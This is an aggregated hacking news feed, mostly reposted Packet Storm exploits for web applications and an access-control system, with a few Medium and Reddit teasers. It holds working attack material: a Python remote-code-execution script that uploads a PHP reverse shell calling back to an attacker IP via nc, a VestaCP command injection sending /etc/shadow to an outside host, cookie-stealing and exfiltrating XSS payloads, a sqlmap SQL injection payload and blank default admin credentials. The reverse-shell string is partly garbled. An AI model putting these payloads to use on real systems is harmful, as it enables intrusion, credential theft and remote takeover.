Hacking on Medium
Difficulty: Very Easy

https://cdn-images-1.medium.com/max/601/0*o3o-nEN66rEcrS9J
Link: Hacker101 CTF

Continue reading on Medium »

Hacking on Medium
How to hack wifi password with android and computer?

https://cdn-images-1.medium.com/max/2600/1*YL2Mww4wqQiJCa3CzbWgLw.jpeg
March 07, 2021

Continue reading on Medium »

Sending an Email with blank Header Address and SMTP Address
https://www.reddit.com/r/Pentesting/comments/m90r2d/sending_an_email_with_blank_header_address_and/

<!-- SC_OFF -->Anyone know any tools to send emails that can make either the header and/or the smtp address blank? <!-- SC_ON --> submitted by /u/Ok_Dragonfruit_3379 (https://www.reddit.com/user/Ok_Dragonfruit_3379)
[link] (https://www.reddit.com/r/Pentesting/comments/m90r2d/sending_an_email_with_blank_header_address_and/) [comments] (https://www.reddit.com/r/Pentesting/comments/m90r2d/sending_an_email_with_blank_header_address_and/)

hacking: security in practice
How do I become unhittable?

I’ve been having problems with hackers booting me offline, and grabbing my iP and personal information. Moving forward, what is the best possible software and/ or firewalls I can have in order to prevent being fucked with on the internet?

submitted by /u/jdankks
[link] [comments]

hacking: security in practice
will you get sued if you hack some company

will you get sued if you hack some company and then tell them their vulnabilities?

submitted by /u/PyBind
[link] [comments]

Kali Linux Tutorials
Turbo Intruder : A Burp Suite Extension For Sending Large Numbers

Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. It’s intended to complement Burp Intruder by handling attacks that require exceptional speed, duration, or complexity. The following features set it apart: Fast – Turbo Intruder uses a HTTP stack hand-coded from scratch with speed in mind. […]

The post Turbo Intruder : A Burp Suite Extension For Sending Large Numbers appeared first on Kali Linux Tutorials.

Hacking on Medium
how to make an ultra-long-range wifi antenna

https://cdn-images-1.medium.com/max/1280/0*x9HzKuazM1a_TKgv.jpg
If you’re the red team pentester it's always useful to carry an ultra-long-range wifi antenna. which has high gain as well as high…

Continue reading on Medium »

Hacking on Medium
Vim/Neovim — Managing Multiple Project Settings

https://cdn-images-1.medium.com/max/1920/1*i4LQn4PuW0Qju_jdUV5Z_Q.png
Managing project-specific settings for Vim/Neovim projects.

Continue reading on Medium »

Exploit Collector
Online News Portal 1.0 Cross Site Request Forgery / Cross Site Scripting

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Online News Portal version 1.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

MD5 | be06871e9ab8b5a97156d14ca9f143a3

Download
# Exploit Title: Online News Portal | Stored XSS + CSRF Example
# Exploit Author: Richard Jones
# Date: 2021-03-18
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

Steps.

1. Create a "evil.js" file with the below contents
----------------------------------------------------------------------------------------
var x = new XMLHttpRequest();
x.open("GET", "//127.0.0.1:8081/?c="+document.domain);
x.send();
----------------------------------------------------------------------------------------
2. Host the file locally. python3 -m http.server 8081
3. Goto http://127.0.0.1/pos_inv/index.php, login as a supplier (supplier/supplier)
4. Add product ..
----------------------------------------------------------------------------------------
Name:
Catagory: Laptops
Price: 1
Quantity: 1
Photo: None
----------------------------------------------------------------------------------------
POST /pos_inv/supplier/edit_product.php?id=28 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29152014675220535253532605082
Content-Length: 744
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pos_inv/supplier/
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm
Upgrade-Insecure-Requests: 1

-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="name"
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="category"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="price"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="qty"

1
-----------------------------29152014675220535253532605082
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------29152014675220535253532605082--

----------------------------------------------------------------------------------------
5. Click Update
6. Recieve CSRF

#Python server
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /evil.js HTTP/1.1" 304 -
127.0.0.1 - - [18/Mar/2021 13:59:46] "GET /?c=127.0.0.1 HTTP/1.1" 200 -

Source:packetstormsecurity.com

Exploit Collector
Online News Portal 1.0 SQL Injection

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Online News Portal version 1.0 suffers from a remote SQL injection vulnerability. This finding varies from the author's original finding earlier this month.

MD5 | 5e31b18a9802154a2959d3b354df250d

Download
# Exploit Title: Online News Portal | SQL Injection
# Exploit Author: Richard Jones
# Date: 2021-03-18
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

# Steps
# Add a new product: http://127.0.0.1/pos_inv/supplier/addproduct.php
# Save request in BurpSuite
# Run saved request with sqlmap -r sql.txt
---
Parameter: MULTIPART name ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: -----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="name"

aasd' AND (SELECT 1775 FROM (SELECT(SLEEP(5)))Jpba) AND 'EaFY'='EaFY
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="category"

1
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="price"

asd
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="qty"

asd
-----------------------------15280280330873390203691218429
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------15280280330873390203691218429--
---

Source:packetstormsecurity.com

Exploit Collector
Profiling System For Human Resource Management 1.0 Remote Code Execution

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Profiling System for Human Resource Management version 1.0 suffers from a remote code execution vulnerability.

MD5 | ed72241bce9c3fd80331a96e1d6a858a

Download
# Exploit Title: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)
# Date: 19-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html
# Software Download: https://www.sourcecodester.com/download-code?nid=11222&title=Profiling+System+For+Human+Resource+Management+using+PHP%2FPDO+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
random_number = str(random.randint(100000000,999999999))
file_name = random_number + "shell.php"
revshell_string = '<?php&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')})
print("(+) Uploading php reverse shell file ..")
r1 = requests.post('http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
if not "Sorry, there was an error uploading your file." in r1.text:
print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name))
return file_name
else:
print("(-) Oh noes, error occured while uploading the file.. quitting!")
exit()

def trigger_shell(target_ip, target_file_name):
url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name)
print("(+) Now trying to trigger our shell..")
r2 = requests.get(url)
if r2.status_code != 200:
print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!")
exit()
else:
return None

def main():
if len(sys.argv) != 4:
print('(+) usage: %s <target<attacker<attacker' % sys.argv[0])
print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
sys.exit(-1)

print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---")
print("----------------------------------------------------------------------------")
target_ip = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]

target_file_name = file_upload(target_ip, attacker_ip, attacker_port)
trigger_shell(target_ip, target_file_name)

print("(+) done!")

if __name__ == "__main__":
main()


Source:packetstormsecurity.com

Exploit Collector
LiveZilla Server 8.0.1.0 Cross Site Scripting

https://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png
LiveZilla Server version 8.0.1.0 suffers from a cross site scripting vulnerability.

MD5 | b492d9ad7a59417436cdda5f710f0bb7

Download
# Exploit Title: LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS
# Google Dork: inurl: inurl:/mobile/index.php intitle:LiveZilla
# Date: 18 Mars 2021
# Exploit Author: Clément Cruchet
# Vendor Homepage: https://www.livezilla.net
# Software Link: https://www.livezilla.net/downloads/en/
# Version: LiveZilla Server 8.0.1.0 and before
# Tested on: Windows/Linux
# CVE : CVE-2019-12962

GET /mobile/index.php HTTP/1.1
Host: chat.website.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ';alert(document.cookie)//
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1


Source:packetstormsecurity.com

Exploit Collector
Plone CMS 5.2.3 Cross Site Scripting

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Plone CMS version 5.2.3 suffers from a persistent cross site scripting vulnerability.

MD5 | 3a719e2cb04b1291bdd2eec8fe2b9f60

Download
# Exploit Title: Plone CMS 5.2.3 - 'Title' Stored XSS
# Date: 18-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://plone.com/
# Software Link: https://github.com/plone/Products.CMFPlone/tags
# Version: 5.2.3
# Tested on: Windows 10
# Reference - https://github.com/plone/Products.CMFPlone/issues/3255

Steps to reproduce the issue:
1- Goto https://localhost/ where Plone 5.2.3 version is installed.
2- Click on "Log in now" and Login as "Manager"
3- Navigate to Manager=>Site Setup=>Site
4- Edit "Site title" field to "xyz"


Source:packetstormsecurity.com

Exploit Collector
Boonex Dolphin 7.4.2 Cross Site Scripting

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Boonex Dolphin version 7.4.2 suffers from a persistent cross site scripting vulnerability.

MD5 | 184f1fed969d0f5d89528bcd9596ddea

Download
# Exploit Title: Boonex Dolphin 7.4.2 - 'width' Stored XSS
# Date: 18-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.boonex.com/
# Software Link: https://www.boonex.com/downloads
# Version: 7.4.2
# Tested on: Windows 10

# Reference - https://github.com/xoffense/POC/blob/main/Boonex%20Dolphin%20CMS%207.4.2%20%20stored%20XSS

Steps to Reproduce Bug:
1- Login to Admin Panel
2- Goto "Builders" => "Pages Builder"
3- Select any page
4- Turn on Burp Suite Intercept and Change "other pages width" to "1081px"


Source:packetstormsecurity.com

Exploit Collector
SOYAL Biometric Access Control System 5.0 Weak Default Credentials

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
The web control panel SOYAL Biometric Access Control System version 5.0 uses a weak set of default administrative credentials (no password) that can be easily guessed in remote password attacks.

MD5 | 5c21b980433cae71313be94d4387bd2e

Download

SOYAL Biometric Access Control System 5.0 Weak Default Credentials
Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: AR-727 i/CM - F/W: 5.0
AR837E/EF - F/W: 4.3
AR725Ev2 - F/W: 4.3 191231
AR331/725E - F/W: 4.2
AR837E/EF - F/W: 4.1
AR-727CM /i - F/W: 4.09
AR-727CM /i - F/W: 4.06
AR-837E - F/W: 3.03

Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.

Desc: The web control panel uses weak set of default administrative
credentials (no password) that can be easily guessed in remote password
attacks.

Tested on: SOYAL Technology WebServer 2.0
SOYAL Serial Device Server 4.03A
SOYAL Serial Device Server 4.01n
SOYAL Serial Device Server 3.07n
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5631
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5631.php
25.01.2021

--
User: admin
Pass:

Source:packetstormsecurity.com

Exploit Collector
VestaCP 0.9.8 Command Injection

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
VestaCP version 0.9.8 suffers from a command injection vulnerability.

MD5 | 61152e8e70f2e0f61b717140e4415616

Download
# Title: VestaCP 0.9.8 - 'v_sftp_licence' Command Injection
# Date: 17.03.2021
# Author: Numan Türle
# Vendor Homepage: https://vestacp.com
# Software Link: https://myvestacp.com < 0.9.8-26-43
# Software Link: https://vestacp.com < 0.9.8-26
POST /edit/server/ HTTP/1.1
Host: TARGET:8083
Connection: close
Content-Length: 6633
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: USER_AGENT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,tr-TR;q=0.9,tr;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4
Cookie: PHPSESSID=HERE_COOKIE
sec-gpc: 1

token=149e2b8c201fd88654df6fd694158577&save=save&v_hostname=1338.example.com&v_timezone=Europe%2FIstanbul&v_language=en&v_mail_url=&v_mail_ssl_domain=&v_mysql_url=&v_mysql_password=&v_backup=yes&v_backup_gzip=5&v_backup_dir=%2Fbackup&v_backup_type=ftp&v_backup_host=&v_backup_username=&v_backup_password=&v_backup_bpath=&v_web_ssl_domain=&v_sys_ssl_crt=privatekeyblablabla&v_quota=no&v_firewall=no&v_sftp=yes&v_sftp_licence=1 1337.burpcollaborator.net -o /etc/shadow&v_filemanager=no&v_filemanager_licence=&v_softaculous=yes&save=Save
Parameter : v_sftp_licence=1 1337.burpcollaborator.net -o /etc/shadow


Source:packetstormsecurity.com

Exploit Collector
Eclipse Mosquitto MQTT Broker 2.0.9 Unquoted Service Path

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Eclipse Mosquitto MQTT broker version 2.0.9 suffers from an unquoted service path vulnerability.

MD5 | 7b03cd8371cf1bdb2ea70fac29527a20

Download
# Exploit Title: Eclipse Mosquitto MQTT broker 2.0.9 - 'mosquitto' Unquoted Service Path
# Discovery by: Riadh Bouchahoua
# Discovery Date: 19-03-2021
# Vendor Homepage: https://mosquitto.org/
# Software Links : https://mosquitto.org/download/
# Tested Version: 2.0.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:
====

C:\Users\Admin>wmic service get name,pathname,startmode |findstr /i /v "C:\Windows\\" |findstr "mosquitto"
mosquitto C:\Program Files\mosquitto\mosquitto.exe run

====

C:\Users\Admin>sc qc mosquitto
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: mosquitto
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\mosquitto\mosquitto.exe run
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Mosquitto Broker
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


Source:packetstormsecurity.com

Exploit Collector
SOYAL Biometric Access Control System 5.0 Cross Site Request Forgery

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
SOYAL Biometric Access Control System version 5.0 suffers from a cross site request forgery vulnerability.

MD5 | 2893ad78302b33102388b180dc19506d

Download

SOYAL Biometric Access Control System 5.0 CSRF Change Admin Password
Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: AR-727 i/CM - F/W: 5.0
AR837E/EF - F/W: 4.3
AR725Ev2 - F/W: 4.3 191231
AR331/725E - F/W: 4.2
AR837E/EF - F/W: 4.1
AR-727CM /i - F/W: 4.09
AR-727CM /i - F/W: 4.06
AR-837E - F/W: 3.03

Summary: Soyal Access systems are built into Raytel Door Entry Systems
and are providing access and lift control to many buildings from public
and private apartment blocks to prestigious public buildings.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: SOYAL Technology WebServer 2.0
SOYAL Serial Device Server 4.03A
SOYAL Serial Device Server 4.01n
SOYAL Serial Device Server 3.07n
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5632
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5632.php
25.01.2021

--
...

Source:packetstormsecurity.com